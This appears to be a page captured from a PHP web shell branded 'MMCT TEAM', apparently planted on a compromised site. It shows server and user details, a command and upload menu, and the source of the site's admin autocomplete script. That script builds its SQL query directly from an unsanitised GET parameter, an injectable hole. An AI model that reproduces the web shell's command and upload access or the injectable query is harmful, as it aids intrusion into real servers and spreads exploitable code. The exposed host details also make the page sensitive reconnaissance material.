MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.202.38
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/parthaquafresh.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/parthaquafresh.com/admin/model_number_autocomplete.php
<?php
ob_start();
require_once("../includes/dbsmain.inc.php");
if(empty($_SESSION['sess_admin_login_id'])){
header("location:login.php");
exit; 
}
$curr_date=date("Y-m-d");
?>

<?php 

 
// Get search term 
$searchTerm = $_GET['term']; 
 
// Fetch matched data from the database 
$query = db_query("SELECT distinct(category_model_number) FROM tbl_category WHERE category_model_number LIKE '%".$searchTerm."%' AND category_status = 'Active' order by CASE when category_model_number LIKE '$searchTerm%'
THEN 1 when category_model_number LIKE '%$searchTerm%' THEN 2 when category_model_number LIKE '%$searchTerm' THEN  3 END"); 
 
// Generate array with skills data 
$skillData = array(); 
if($query->num_rows > 0){ 
    while($row = $query->fetch_assoc()){ 
       // $data['id'] = $row['category_id']; 
        $data['value'] = $row['category_model_number']; 
        array_push($skillData, $data); 
    } 
} 
 
// Return results as json encoded array 
echo json_encode($skillData); 
?>

MMCT - 2023